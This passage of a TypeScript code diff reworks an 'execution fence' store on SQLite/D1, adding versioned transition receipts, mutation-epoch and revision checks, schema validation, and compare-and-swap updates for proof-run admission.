+  ExecutionFenceState,
+  string | null,
+  number,
+  number,
+  boolean,
+];
+
+interface StoredExecutionFence {
+  reading: ExecutionFenceVersionedReading;
+  receipt: string | null;
+  schemaStage: ExecutionFenceSchemaStage;
+  raw: DeploymentIdentityProtocolRow;
+}
+
+/** @internal Exact current-stage observation for initial admission. */
+export interface ExecutionFenceAdmissionObservation {
+  readonly reading: ExecutionFenceVersionedReading;
+  readonly schemaStage: 7;
+  readonly raw: DeploymentIdentityProtocolRow;
+}
+
+const FENCE_ADMISSION_FIELDS = [
+  'state',
+  'mutation_epoch',
+  'require_mutation_epoch',
+  'transition_revision',
+  'last_transition_request',
+  'proof_key',
+  'proof_run_id',
+  'proof_table_prefix',
+  'proof_workflow_id',
+  'proof_start_token',
+] as const;
+
+/** @internal */
+export function executionFenceAdmissionValues(
+  observation: ExecutionFenceAdmissionObservation,
+): readonly unknown[] {
+  const values = FENCE_ADMISSION_FIELDS.map((key) => observation.raw[key]);
+  for (const value of values.slice(4)) {
+    if (value !== null && typeof value !== 'string') {
+      throw new ExecutionFenceUnreadableError(
+        'execution fence semantic fields are not readable',
+      );
+    }
+  }
+  return Object.freeze(values);
+}
+
+/** @internal */
+export function executionFenceAdmissionSql(input: {
+  readonly callerEpoch: string;
+  readonly semantic: readonly string[];
+  readonly schema: string;
+  readonly statePredicate: string;
+}): string {
+  const { callerEpoch, semantic, schema, statePredicate } = input;
+  if (semantic.length !== FENCE_ADMISSION_FIELDS.length) {
+    throw new Error('execution fence admission parameter frame is invalid');
+  }
+  const nullable = FENCE_ADMISSION_FIELDS.slice(4)
+    .map((key, index) => {
+      const parameter = semantic[index + 4];
+      return `typeof(f.${key}) IN ('null', 'text')
+      AND typeof(f.${key}) = typeof(${parameter})
+      AND f.${key} COLLATE BINARY IS ${parameter}`;
+    })
+    .join(' AND ');
+  return `(SELECT json_group_array(json_array(name, type, "notnull", dflt_value, pk, hidden))
+    FROM (SELECT name, type, "notnull", dflt_value, pk, hidden
+      FROM pragma_table_xinfo('${EXECUTION_FENCE_TABLE}') ORDER BY cid)) COLLATE BINARY = ${schema}
+    AND (SELECT COUNT(*) FROM ${EXECUTION_FENCE_TABLE}) = 1
+    AND EXISTS (SELECT 1 FROM ${EXECUTION_FENCE_TABLE} AS f
+      WHERE typeof(f.id) = 'text' AND f.id COLLATE BINARY = 'deployment'
+        AND typeof(f.state) = 'text' AND f.state COLLATE BINARY IS ${semantic[0]}
+        AND typeof(f.mutation_epoch) = 'integer' AND f.mutation_epoch IS ${semantic[1]}
+        AND typeof(f.require_mutation_epoch) = 'integer' AND f.require_mutation_epoch IS ${semantic[2]}
+        AND typeof(f.transition_revision) = 'integer' AND f.transition_revision IS ${semantic[3]}
+        AND ${nullable}
+        AND (f.require_mutation_epoch = 0 OR f.mutation_epoch = ${callerEpoch})
+        AND (${statePredicate}))`;
+}
+
+function isFenceCounter(value: unknown): value is number {
+  return typeof value === 'number' && Number.isSafeInteger(value) && value >= 0;
+}
+
+function decodeTransitionReceipt(text: string): FenceTransitionReceipt {
+  const value: unknown = JSON.parse(text);
+  if (
+    text.length > 512 ||
+    !Array.isArray(value) ||
+    value.length !== 7 ||
+    value[0] !== 1 ||
+    !isExecutionFenceState(value[1]) ||
+    !isExecutionFenceState(value[2]) ||
+    (value[2] === 'proof-only' ? !isPathSafeId(value[3]) : value[3] !== null) ||
+    !isFenceCounter(value[4]) ||
+    !isFenceCounter(value[5]) ||
+    value[5] === Number.MAX_SAFE_INTEGER ||
+    typeof value[6] !== 'boolean' ||
+    (value[6] && value[4] === Number.MAX_SAFE_INTEGER) ||
+    JSON.stringify(value) !== text
+  ) {
+    throw new Error('execution fence transition receipt is malformed');
+  }
+  return [1, value[1], value[2], value[3], value[4], value[5], value[6]];
 }
 
-function readingFromRow(row: ExecutionFenceRow): ExecutionFenceReading {
+function readingFromRow(
+  row: DeploymentIdentityProtocolRow,
+): StoredExecutionFence {
+  row = Object.freeze(
+    Object.fromEntries(
+      Object.getOwnPropertyNames(row).map((key) => [key, row[key]]),
+    ),
+  );
+  const metadata = decodeExecutionFenceMutationMetadata(row);
   const { state } = row;
-  if (!isExecutionFenceState(state)) {
-    // Fail CLOSED on a state name this build does not know: a hand-edited row,
-    // or a row written by a NEWER flowsafe that added a state. Returning
-    // `open` for either would answer "I do not understand this fence" with
-    // "there is no fence", which is the one answer that must never be wrong.
-    throw new ExecutionFenceUnreadableError(
-      `execution fence row carries an unrecognized state '${String(state)}'`,
-    );
+  if (row.id !== EXECUTION_FENCE_ROW_ID || !isExecutionFenceState(state)) {
+    throw new Error('execution fence row is not a recognized singleton');
   }
   const proofKey = row.proof_key;
   const proofRunId = row.proof_run_id;
+  let proofExecution: D1RunExecutionIdentity | undefined;
+  if (metadata.proofStartToken !== null) {
+    proofExecution = normalizeD1RunExecutionIdentity({
+      tablePrefix: metadata.proofTablePrefix,
+      workflowId: metadata.proofWorkflowId,
+      runId: proofRunId,
+      startToken: metadata.proofStartToken,
+    });
+    if (
+      proofExecution.tablePrefix !== metadata.proofTablePrefix ||
+      !isPathSafeId(proofKey)
+    ) {
+      throw new Error('execution fence proof identity is not canonical');
+    }
+  }
+  if (metadata.lastTransitionRequest !== null) {
+    const [, , next, key, epoch, revision, advance] = decodeTransitionReceipt(
+      metadata.lastTransitionRequest,
+    );
+    if (
+      state !== next ||
+      metadata.mutationEpoch !== epoch + Number(advance) ||
+      metadata.transitionRevision !== revision + 1 ||
+      (state === 'proof-only'
+        ? proofKey !== key || (proofRunId !== null && !isPathSafeId(proofRunId))
+        : proofKey !== null || proofRunId !== null)
+    ) {
+      throw new Error(
+        'execution fence row disagrees with its transition receipt',
+      );
+    }
+  }
   return {
-    state,
-    ...(typeof proofKey === 'string' && proofKey.length > 0
-      ? { proofKey }
-      : {}),
-    ...(typeof proofRunId === 'string' && proofRunId.length > 0
-      ? { proofRunId }
-      : {}),
+    reading: {
+      state,
+      mutationEpoch: metadata.mutationEpoch,
+      requireMutationEpoch: metadata.requireMutationEpoch,
+      transitionRevision: metadata.transitionRevision,
+      ...(proofExecution === undefined ? {} : { proofExecution }),
+      ...(typeof proofKey === 'string' && proofKey.length > 0
+        ? { proofKey }
+        : {}),
+      ...(typeof proofRunId === 'string' && proofRunId.length > 0
+        ? { proofRunId }
+        : {}),
+    },
+    receipt: metadata.lastTransitionRequest,
+    schemaStage: metadata.schemaStage,
+    raw: row,
   };
 }
 
+function fenceResultRows(result: unknown): DeploymentIdentityProtocolRow[] {
+  if (
+    result === null ||
+    typeof result !== 'object' ||
+    ('success' in result && result.success !== true) ||
+    !('results' in result)
+  ) {
+    throw new Error('execution fence statement returned an invalid result');
+  }
+  const rows: unknown = result.results;
+  if (!Array.isArray(rows))
+    throw new Error('execution fence statement returned an invalid result');
+  const length = rows.length;
+  if (!Number.isSafeInteger(length) || length < 0)
+    throw new Error('execution fence statement returned an invalid result');
+  return Array.from({ length }, (_, index) => {
+    if (!Object.hasOwn(rows, index))
+      throw new Error('execution fence statement returned an invalid row');
+    const row = rows[index];
+    if (row === null || typeof row !== 'object' || Array.isArray(row)) {
+      throw new Error('execution fence statement returned an invalid row');
+    }
+    return row;
+  });
+}
+
+function returningFence(result: unknown): StoredExecutionFence | undefined {
+  const rows = fenceResultRows(result);
+  if (rows.length > 1)
+    throw new Error('execution fence UPDATE returned multiple rows');
+  const row = rows[0];
+  if (row === undefined) return undefined;
+  const stored = readingFromRow(row);
+  if (stored.schemaStage !== EXECUTION_FENCE_CURRENT_SCHEMA_STAGE)
+    throw new Error('execution fence UPDATE returned a legacy row');
+  return stored;
+}
+
+/** @internal Validate an already-observed current-schema RETURNING row. */
+export function decodeExecutionFenceAdmissionRow(
+  row: DeploymentIdentityProtocolRow,
+): ExecutionFenceAdmissionObservation {
+  const stored = readingFromRow(row);
+  if (stored.schemaStage !== 7)
+    throw new Error('initial admission requires current fence metadata');
+  return Object.freeze({
+    reading: Object.freeze(stored.reading),
+    schemaStage: 7,
+    raw: stored.raw,
+  });
+}
+
+/** @internal Validate actual PRAGMA rows from a consistent readback batch. */
+export async function validateExecutionFenceAdmissionSchema(
+  result: unknown,
+): Promise<void> {
+  const columns = fenceResultRows(result);
+  if ((await readExecutionFenceSchemaProtocol(async () => columns)) !== 7)
+    throw new Error('initial admission requires the current fence schema');
+}
+
+/** @internal */
+export async function captureExecutionFenceAdmissionSchema(
+  result: unknown,
+): Promise<string> {
+  const rows = fenceResultRows(result).map((row) =>
+    Object.freeze(
+      Object.fromEntries(
+        Object.getOwnPropertyNames(row).map((key) => [key, row[key]]),
+      ),
+    ),
+  );
+  await validateExecutionFenceAdmissionSchema({ results: rows });
+  return JSON.stringify(
+    rows.map(({ name, type, notnull, dflt_value, pk, hidden }) => [
+      name,
+      type,
+      notnull,
+      dflt_value,
+      pk,
+      hidden,
+    ]),
+  );
+}
+
 /**
  * SQLite/D1's "no such table", for THIS store's table: a table that was never
  * created is not a fault here — it is a pre-0.20 database, which reads as
@@ -545,6 +856,73 @@ function isMissingFenceTable(error: unknown): boolean {
   return missingTableReadsEmpty(error, EXECUTION_FENCE_TABLE);
 }
 
+async function selectedProofObservation(
+  db: ExecutionFenceDatabase,
+  address: D1RunAddress,
+) {
+  try {
+    const prepared = prepareRawWorkflowSnapshotRead(db, address);
+    const raw = decodeRawWorkflowSnapshotResult(
+      await prepared.statement.all(),
+      prepared.address,
+    );
+    if (raw === undefined) return undefined;
+    const snapshot: unknown = JSON.parse(raw.snapshot);
+    if (
+      snapshot === null ||
+      typeof snapshot !== 'object' ||
+      Array.isArray(snapshot)
+    )
+      throw new Error('proof snapshot is malformed');
+    const state = snapshot as Record<string, unknown>;
+    if (state.runId !== raw.runId || !isRunStatus(state.status))
+      throw new Error('proof snapshot identity or status is malformed');
+    for (const key of ['requestContext', 'context', 'steps']) {
+      const value = state[key];
+      if (
+        value !== undefined &&
+        (value === null || typeof value !== 'object' || Array.isArray(value))
+      )
+        throw new Error('proof snapshot container is malformed');
+    }
+    const source = (
+      state.requestContext as Record<string, unknown> | undefined
+    )?.[RUN_PROVENANCE_CONTEXT_KEY];
+    const start = decodeRunStartIdentity(source);
+    if (start === undefined) return { raw, status: state.status };
+    const provenance = decodeProgressRunProvenance(source);
+    const execution = normalizeD1RunExecutionIdentity({
+      ...prepared.address,
+      startToken: provenance.startToken,
+    });
+    return { raw, status: state.status, execution, provenance };
+  } catch (cause) {
+    throw new ExecutionFenceUnreadableError('proof snapshot is not readable', {
+      cause,
+    });
+  }
+}
+
+function reservationValues(row: StartReservationReading): unknown[] {
+  if (row.binding.kind !== 'bound')
+    throw new InvalidExecutionIdentityError('admission');
+  return [
+    row.key,
+    row.owner.kind,
+    row.owner.id,
+    row.targetKind,
+    row.targetId,
+    row.runId,
+    row.threadId ?? null,
+    row.state,
+    row.createdAt,
+    row.updatedAt,
+    row.binding.execution.startToken,
+    row.binding.execution.tablePrefix,
+    row.binding.execution.workflowId,
+  ];
+}
+
 export interface ExecutionFenceStoreOptions {
   /** Injectable clock for `updated_at` (tests, deterministic fixtures). */
   now?: () => number;
@@ -567,6 +945,9 @@ export interface ExecutionFenceTransition {
    * field exists to police arrived pre-blessed at the type level.
    */
   proofKey?: unknown;
+  expectedMutationEpoch?: unknown;
+  expectedRevision?: unknown;
+  advanceMutationEpoch?: unknown;
 }
 
 /**
@@ -594,32 +975,41 @@ export class ExecutionFenceStore {
    * question, and would turn a read-only replica or a revoked-write incident
    * into an outage instead of a degrade.
    *
-   * A missing table and a missing row both read as `open` — the 0.19 upgrade
-   * rule. Anything else that fails becomes ExecutionFenceUnreadableError, so
-   * no caller can mistake a storage fault for an open deployment.
+   * A missing table or missing legacy row reads as `open`. A missing modern row is
+   * unreadable and is never silently recreated.
    */
-  async read(): Promise<ExecutionFenceReading> {
-    let rows: ExecutionFenceRow[];
+  async read(): Promise<ExecutionFenceVersionedReading> {
+    return (await this.#readStored())?.reading ?? OPEN_EXECUTION_FENCE;
+  }
+
+  usesDatabase(binding: object): boolean {
+    return this.#db === binding;
+  }
+
+  /** @internal Pure strict observation; seed only on the admission preparation path. */
+  async readForAdmission(): Promise<ExecutionFenceAdmissionObservation> {
     try {
-      rows = (
+      const rows = fenceResultRows(
         await this.#db
-          .prepare(
-            `SELECT state, proof_key, proof_run_id FROM ${EXECUTION_FENCE_TABLE}
-             WHERE id = ?`,
-          )
-          .bind(EXECUTION_FENCE_ROW_ID)
-          .all<ExecutionFenceRow>()
-      ).results;
+          .prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE} LIMIT 2`)
+          .all(),
+      );
+      const row = rows[0];
+      if (rows.length !== 1 || row === undefined)
+        throw new Error('initial admission requires an exact fence singleton');
+      const observation = decodeExecutionFenceAdmissionRow(row);
+      await validateExecutionFenceAdmissionSchema(
+        await this.#db
+          .prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`)
+          .all(),
+      );
+      return observation;
     } catch (error) {
-      if (isMissingFenceTable(error)) return OPEN_EXECUTION_FENCE;
       throw new ExecutionFenceUnreadableError(
-        'execution fence state is not readable',
+        'initial admission requires current fence metadata',
         { cause: error },
       );
     }
-    const row = rows[0];
-    if (row === undefined) return OPEN_EXECUTION_FENCE;
-    return readingFromRow(row);
   }
 
   /**
@@ -638,15 +1028,8 @@ export class ExecutionFenceStore {
    */
   async seed(state: ExecutionFenceState): Promise<void> {
     const safeState = assertExecutionFenceState(state, 'seed state');
-    await this.#createTable();
-    await this.#db
-      .prepare(
-        `INSERT OR IGNORE INTO ${EXECUTION_FENCE_TABLE}
-           (id, state, proof_key, proof_run_id, updated_at)
-         VALUES (?, ?, NULL, NULL, ?)`,
-      )
-      .bind(EXECUTION_FENCE_ROW_ID, safeState, this.#now())
-      .run();
+    await this.#initialize(safeState);
+    await this.#readStored();
   }
 
   /**
@@ -662,51 +1045,112 @@ export class ExecutionFenceStore {
    */
   async transition(
     input: ExecutionFenceTransition,
-  ): Promise<ExecutionFenceReading> {
+  ): Promise<ExecutionFenceVersionedReading> {
     const expected = assertExecutionFenceState(
       input.expected,
       'expected state',
     );
     const next = assertExecutionFenceState(input.next, 'next state');
     const proofKey = this.#proofKeyFor(next, input.proofKey);
-    await this.#createTable();
-    // Materialize the implicit-open row of a pre-0.20 database. INSERT OR
-    // IGNORE, so a seeded database is untouched and the CAS below is still the
-    // only thing that decides the outcome.
-    await this.#db
-      .prepare(
-        `INSERT OR IGNORE INTO ${EXECUTION_FENCE_TABLE}
-           (id, state, proof_key, proof_run_id, updated_at)
-         VALUES (?, 'open', NULL, NULL, ?)`,
-      )
-      .bind(EXECUTION_FENCE_ROW_ID, this.#now())
-      .run();
-    // proof_run_id is cleared unconditionally: ENTERING proof-only must not
-    // inherit a previous proof's run, and LEAVING it must not leave a stale
-    // admission behind for the next one to trip over.
-    const changed = changesOf(
-      await this.#db
-        .prepare(
-          `UPDATE ${EXECUTION_FENCE_TABLE}
-             SET state = ?, proof_key = ?, proof_run_id = NULL, updated_at = ?
-           WHERE id = ? AND state = ?`,
-        )
-        .bind(
+    const { expectedMutationEpoch: epoch, expectedRevision: revision } = input;
+    const rawAdvance = input.advanceMutationEpoch;
+    const advance = rawAdvance ?? false;
+    const upgraded = epoch !== undefined || revision !== undefined;
+    if (
+      (rawAdvance !== undefined && typeof rawAdvance !== 'boolean') ||
+      (upgraded && (!isFenceCounter(epoch) || !isFenceCounter(revision))) ||
+      (advance && !upgraded) ||
+      revision === Number.MAX_SAFE_INTEGER ||
+      (advance && epoch === Number.MAX_SAFE_INTEGER)
+    ) {
+      throw new InvalidExecutionFenceRequestError(
+        'fence expectations must be paired safe counters and advanceMutationEpoch must be boolean',
+      );
+    }
+    const receipt = upgraded
+      ? JSON.stringify([
+          1,
+          expected,
           next,
           proofKey ?? null,
-          this.#now(),
-          EXECUTION_FENCE_ROW_ID,
-          expected,
-        )
-        .run(),
-    );
-    if (changed === 0) {
-      throw new FenceTransitionConflictError(
-        expected,
-        (await this.read()).state,
+          epoch,
+          revision,
+          advance,
+        ])
+      : null;
+    await this.#initialize('open');
+    await this.#readStored();
+    let result: unknown;
+    try {
+      const statement = upgraded
+        ? this.#db
+            .prepare(
+              `UPDATE ${EXECUTION_FENCE_TABLE}
+           SET state = ?1, proof_key = ?2, proof_run_id = NULL,
+               proof_table_prefix = NULL, proof_workflow_id = NULL, proof_start_token = NULL,
+               mutation_epoch = mutation_epoch + ?3,
+               require_mutation_epoch = CASE WHEN ?3 = 1 THEN 1 ELSE require_mutation_epoch END,
+               transition_revision = transition_revision + 1,
+               last_transition_request = ?4, updated_at = ?5
+           WHERE id = ?6 AND state = ?7
+             AND mutation_epoch = ?8 AND transition_revision = ?9
+             AND require_mutation_epoch IN (0, 1)
+             AND transition_revision < 9007199254740991
+             AND (?3 = 0 OR mutation_epoch < 9007199254740991)
+           RETURNING *`,
+            )
+            .bind(
+              next,
+              proofKey ?? null,
+              Number(advance),
+              receipt,
+              this.#now(),
+              EXECUTION_FENCE_ROW_ID,
+              expected,
+              epoch,
+              revision,
+            )
+        : this.#db
+            .prepare(
+              `UPDATE ${EXECUTION_FENCE_TABLE}
+           SET state = ?, proof_key = ?, proof_run_id = NULL,
+               proof_table_prefix = NULL, proof_workflow_id = NULL, proof_start_token = NULL,
+               transition_revision = transition_revision + 1,
+               last_transition_request = NULL, updated_at = ?
+           WHERE id = ? AND state = ? AND require_mutation_epoch = 0
+             AND mutation_epoch = 0 AND transition_revision < 9007199254740991
+           RETURNING *`,
+            )
+            .bind(
+              next,
+              proofKey ?? null,
+              this.#now(),
+              EXECUTION_FENCE_ROW_ID,
+              expected,
+            );
+      result = await statement.all();
+    } catch (error) {
+      if (receipt !== null) {
+        const stored = await this.#readStored().catch(() => undefined);
+        if (stored?.receipt === receipt) return stored.reading;
+      }
+      throw new ExecutionFenceUnreadableError(
+        'execution fence transition could not be recorded',
+        { cause: error },
       );
     }
-    return { state: next, ...(proofKey === undefined ? {} : { proofKey }) };
+    const returned = this.#decodeReturned(result);
+    if (returned !== undefined) return returned.reading;
+    const stored = await this.#readStored();
+    if (receipt !== null && stored?.receipt === receipt) return stored.reading;
+    const reading = stored?.reading ?? OPEN_EXECUTION_FENCE;
+    throw new FenceTransitionConflictError(expected, reading.state, {
+      reading,
+      conflict:
+        !upgraded && reading.requireMutationEpoch
+          ? 'versioned-expectation-required'
+          : 'expectation-mismatch',
+    });
   }
 
   /**
@@ -719,7 +1163,16 @@ export class ExecutionFenceStore {
    * Re-writing the SAME runId is admitted so a retry of an interrupted start
    * converges instead of deadlocking on its own earlier write.
    */
-  async recordProofRun(proofKey: string, runId: string): Promise<boolean> {
+  async recordProofRun(
+    proofKey: string,
+    runId: string,
+    admitted?: Pick<
+      ExecutionFenceVersionedReading,
+      'mutationEpoch' | 'transitionRevision'
+    >,
+  ): Promise<boolean> {
+    const epoch = admitted?.mutationEpoch;
+    const revision = admitted?.transitionRevision;
     if (!isPathSafeId(proofKey)) {
       throw new InvalidExecutionFenceRequestError(
         'proofKey must be a URL-path-safe identifier',
@@ -730,29 +1183,305 @@ export class ExecutionFenceStore {
         'proof runId must be a URL-path-safe identifier',
       );
     }
-    try {
-      return (
-        changesOf(
-          await this.#db
-            .prepare(
-              `UPDATE ${EXECUTION_FENCE_TABLE}
-                 SET proof_run_id = ?, updated_at = ?
-               WHERE id = ? AND state = 'proof-only' AND proof_key = ?
-                 AND (proof_run_id IS NULL OR proof_run_id = ?)`,
-            )
-            .bind(runId, this.#now(), EXECUTION_FENCE_ROW_ID, proofKey, runId)
-            .run(),
-        ) > 0
+    if (
+      admitted !== undefined &&
+      (admitted === null ||
+        typeof admitted !== 'object' ||
+        !isFenceCounter(epoch) ||
+        !isFenceCounter(revision))
+    ) {
+      throw new InvalidExecutionFenceRequestError(
+        'proof admission must contain safe epoch and revision counters',
       );
+    }
+    const observed = await this.#readStored();
+    if (observed === undefined) return false;
+    if (observed.schemaStage < EXECUTION_FENCE_CURRENT_SCHEMA_STAGE) {
+      await this.#initialize(observed.reading.state);
+      await this.#readStored();
+    }
+    let result: unknown;
+    try {
+      const statement = this.#db
+        .prepare(
+          `UPDATE ${EXECUTION_FENCE_TABLE}
+       SET updated_at = CASE WHEN proof_run_id IS NULL THEN ? ELSE updated_at END,
+           proof_run_id = ?
+       WHERE id = ? AND state = 'proof-only' AND proof_key = ?
+         AND (proof_run_id IS NULL OR proof_run_id = ?)
+         AND proof_table_prefix IS NULL AND proof_workflow_id IS NULL AND proof_start_token IS NULL
+         AND ${
+           admitted === undefined
+             ? 'require_mutation_epoch = 0 AND mutation_epoch = 0'
+             : 'mutation_epoch = ? AND transition_revision = ?'
+}
+       RETURNING *`,
+        )
+        .bind(
+          this.#now(),
+          runId,
+          EXECUTION_FENCE_ROW_ID,
+          proofKey,
+          runId,
+          ...(admitted === undefined ? [] : [epoch, revision]),
+        );
+      result = await statement.all();
     } catch (error) {
-      // A database with no fence table cannot be in proof-only, so there is
-      // nothing to record and nothing to conclude beyond "not admitted".
-      if (isMissingFenceTable(error)) return false;
+      const stored = await this.#readStored().catch(() => undefined);
+      const reading = stored?.reading;
+      if (
+        reading?.state === 'proof-only' &&
+        reading.proofKey === proofKey &&
+        reading.proofRunId === runId &&
+        reading.proofExecution === undefined &&
+        stored?.raw.proof_table_prefix === null &&
+        stored.raw.proof_workflow_id === null &&
+        stored.raw.proof_start_token === null &&
+        (admitted === undefined
+          ? !reading.requireMutationEpoch && reading.mutationEpoch === 0
+          : reading.mutationEpoch === epoch &&
+            reading.transitionRevision === revision)
+      ) {
+        return true;
+      }
       throw new ExecutionFenceUnreadableError(
         'execution fence proof run could not be recorded',
         { cause: error },
       );
     }
+    const returned = this.#decodeReturned(result);
+    if (returned !== undefined) {
+      if (
+        returned.reading.proofExecution !== undefined ||
+        returned.raw.proof_table_prefix !== null ||
+        returned.raw.proof_workflow_id !== null ||
+        returned.raw.proof_start_token !== null
+      )
+        throw new ExecutionFenceUnreadableError(
+          'legacy proof write returned a modern binding',
+        );
+      return true;
+    }
+    await this.#readStored();
+    return false;
+  }
+
+  async readCurrentRunExecution(
+    address: D1RunAddress,
+  ): Promise<D1RunExecutionIdentity | undefined> {
+    return (await selectedProofObservation(this.#db, address))?.execution;
+  }
+
+  async rebindProofRun(options: {
+    reservation: StartReservationReading;
+    execution: D1StartExecutionIdentity;
+    proof: ProofEntryExpectation;
+    mutationEpoch?: number;
+    reservationStore: { usesDatabase(binding: object): boolean };
+  }): Promise<boolean> {
+    const {
+      reservation: input,
+      execution: rawExecution,
+      proof: rawProof,
+      mutationEpoch,
+      reservationStore,
+    } = options;
+    const reservation = captureBoundReservation(input);
+    const { tablePrefix, workflowId, runId, startToken, owner, target } =
+      rawExecution;
+    const normalized = normalizeStartExecutionIdentity({
+      tablePrefix,
+      workflowId,
+      runId,
+      startToken,
+      owner,
+      target,
+    });
+    const execution = normalizeD1RunExecutionIdentity(normalized);
+    const {
+      key,
+      mutationEpoch: epoch,
+      transitionRevision: revision,
+    } = rawProof;
+    const callerEpoch = normalizeMutationEpoch(mutationEpoch);
+    const usesDatabase = reservationStore.usesDatabase;
+    const now = this.#now();
+    if (
+      tablePrefix !== execution.tablePrefix ||
+      key !== reservation.key ||
+      !isFenceCounter(epoch) ||
+      !isFenceCounter(revision) ||
+      typeof now !== 'number' ||
+      !Number.isFinite(now) ||
+      typeof usesDatabase !== 'function' ||
+      !Reflect.apply(usesDatabase, reservationStore, [this.#db]) ||
+      reservation.binding.kind !== 'bound' ||
+      normalized.owner.kind !== reservation.owner.kind ||
+      normalized.owner.id !== reservation.owner.id ||
+      normalized.target.kind !== reservation.targetKind ||
+      normalized.target.id !== reservation.targetId ||
+      (normalized.target.kind === 'agent'
+        ? normalized.target.threadId
+        : undefined) !== reservation.threadId ||
+      !admitsExistingRun(
+        { state: 'proof-only', proofExecution: execution },
+        reservation.binding.execution,
+      )
+    )
+      throw new InvalidExecutionIdentityError('admission');
+    try {
+      const observed = await this.readForAdmission();
+      const requireSchemas = async () => {
+        await validateExecutionFenceAdmissionSchema(
+          await this.#db
+            .prepare(`PRAGMA table_xinfo(${EXECUTION_FENCE_TABLE})`)
+            .all(),
+        );
+        validateStartReservationAdmissionSchema(
+          await this.#db
+            .prepare(`PRAGMA table_xinfo(${START_IDEMPOTENCY_TABLE})`)
+            .all(),
+        );
+      };
+      await requireSchemas();
+      const current = decodeStartReservationAdmissionResult(
+        await this.#db
+          .prepare(
+            `SELECT * FROM ${START_IDEMPOTENCY_TABLE} WHERE key = ? LIMIT 2`,
+          )
+          .bind(key)
+          .all(),
+      );
+      const selected = await selectedProofObservation(this.#db, execution);
+      const reading = observed.reading;
+      if (
+        current === undefined ||
+        current.binding.kind !== 'bound' ||
+        !sameReservationIdentity(current, reservation) ||
+        JSON.stringify(reservationValues(current)) !==
+          JSON.stringify(reservationValues(reservation)) ||
+        selected?.execution === undefined ||
+        selected.status === 'pending' ||
+        !admitsExistingRun(
+          { state: 'proof-only', proofExecution: execution },
+          selected.execution,
+        ) ||
+        selected.provenance?.startIdentity?.owner.kind !==
+          reservation.owner.kind ||
+        selected.provenance.startIdentity.owner.id !== reservation.owner.id ||
+        selected.provenance.startIdentity.target.kind !==
+          reservation.targetKind ||
+        selected.provenance.startIdentity.target.id !== reservation.targetId ||
+        (selected.provenance.startIdentity.target.kind === 'agent'
+          ? selected.provenance.startIdentity.target.threadId
+          : undefined) !== reservation.threadId ||
+        reading.state !== 'proof-only' ||
+        reading.proofKey !== key ||
+        reading.mutationEpoch !== epoch ||
+        reading.transitionRevision !== revision ||
+        (reading.requireMutationEpoch && callerEpoch !== epoch) ||
+        (reading.proofRunId !== undefined &&
+          !admitsExistingRun(reading, execution))
+      )
+        return false;
+      const raw: RawWorkflowSnapshot = selected.raw;
+      const snapshotPredicate = `EXISTS (SELECT 1 FROM "${execution.tablePrefix}mastra_workflow_snapshot"
+        WHERE workflow_name = ? AND run_id = ? AND resourceId IS ? AND snapshot = ? AND createdAt = ? AND updatedAt = ?)`;
+      const reservationPredicate = `EXISTS (SELECT 1 FROM ${START_IDEMPOTENCY_TABLE}
+        WHERE key = ? AND owner_kind = ? AND owner_id = ? AND target_kind = ? AND target_id = ? AND run_id = ?
+        AND thread_id IS ? AND state = ? AND created_at = ? AND updated_at = ?
+        AND start_token = ? AND start_table_prefix IS ? AND start_workflow_id = ?)`;
+      const framePredicate = `id = 'deployment' AND state = 'proof-only' AND proof_key = ?
+        AND mutation_epoch = ? AND transition_revision = ? AND require_mutation_epoch = ? AND last_transition_request IS ?
+        AND (require_mutation_epoch = 0 OR mutation_epoch = ?)`;
+      const exactTuple =
+        'proof_run_id = ? AND proof_table_prefix = ? AND proof_workflow_id = ? AND proof_start_token = ?';
+      const emptyTuple =
+        'proof_run_id IS NULL AND proof_table_prefix IS NULL AND proof_workflow_id IS NULL AND proof_start_token IS NULL';
+      const tuple = [
+        execution.runId,
+        execution.tablePrefix,
+        execution.workflowId,
+        execution.startToken,
+      ];
+      const frame = [
+        key,
+        epoch,
+        revision,
+        Number(reading.requireMutationEpoch),
+        observed.raw.last_transition_request,
+        callerEpoch ?? null,
+      ];
+      const rowValues = [
+        raw.workflowId,
+        raw.runId,
+        raw.resourceId,
+        raw.snapshot,
+        raw.createdAt,
+        raw.updatedAt,
+        ...reservationValues(reservation),
+      ];
+      const expectedTime =
+        reading.proofRunId === undefined ? now : observed.raw.updated_at;
+      const validateReturned = (result: unknown): boolean => {
+        const returned = this.#decodeReturned(result);
+        if (returned === undefined) return false;
+        const next = returned.reading;
+        if (
+          next.state !== 'proof-only' ||
+          next.proofKey !== key ||
+          next.mutationEpoch !== epoch ||
+          next.transitionRevision !== revision ||
+          next.requireMutationEpoch !== reading.requireMutationEpoch ||
+          returned.receipt !== observed.raw.last_transition_request ||
+          !admitsExistingRun(next, execution) ||
+          returned.raw.updated_at !== expectedTime
+        )
+          throw new ExecutionFenceUnreadableError(
+            'proof nomination returned an unexpected fence',
+          );
+        return true;
+      };
+      let result: unknown;
+      try {
+        result = await this.#db
+          .prepare(`UPDATE ${EXECUTION_FENCE_TABLE}
+          SET updated_at = CASE WHEN proof_run_id IS NULL THEN ? ELSE updated_at END,
+            proof_run_id = ?, proof_table_prefix = ?, proof_workflow_id = ?, proof_start_token = ?
+          WHERE ${framePredicate} AND ((${emptyTuple}) OR (${exactTuple}))
+            AND ${snapshotPredicate} AND ${reservationPredicate} RETURNING *`)
+          .bind(now, ...tuple, ...frame, ...tuple, ...rowValues)
+          .all();
+      } catch (cause) {
+        try {
+          const converged = await this.#db
+            .prepare(`SELECT * FROM ${EXECUTION_FENCE_TABLE}
+            WHERE ${framePredicate} AND ${exactTuple} AND ${snapshotPredicate} AND ${reservationPredicate} LIMIT 2`)
+            .bind(...frame, ...tuple, ...rowValues)
+            .all();
+          await requireSchemas();
+          if (validateReturned(converged)) return true;
+        } catch {
+          /* Preserve the failed write's cause. */
+        }
+        throw new ExecutionFenceUnreadableError(
+          'proof nomination could not be recorded',
+          { cause },
+        );
+      }
+      const nominated = validateReturned(result);
+      if (!nominated) {
+        await requireSchemas();
+        await this.readForAdmission();
+      }
+      return nominated;
+    } catch (cause) {
+      if (cause instanceof ExecutionFenceUnreadableError) throw cause;
+      throw new ExecutionFenceUnreadableError(
+        'proof nomination is not readable',
+        { cause },
+      );
+    }
   }
 
   #proofKeyFor(
@@ -777,7 +1506,87 @@ export class ExecutionFenceStore {
     return undefined;
   }
 
-  async #createTable(): Promise<void> {
-    await this.#db.prepare(EXECUTION_FENCE_DDL).run();
+  readonly #execute: DeploymentIdentityProtocolExecutor = async (statement) => {
+    const prepared = this.#db
+      .prepare(statement.sql)
+      .bind(...statement.bindings);
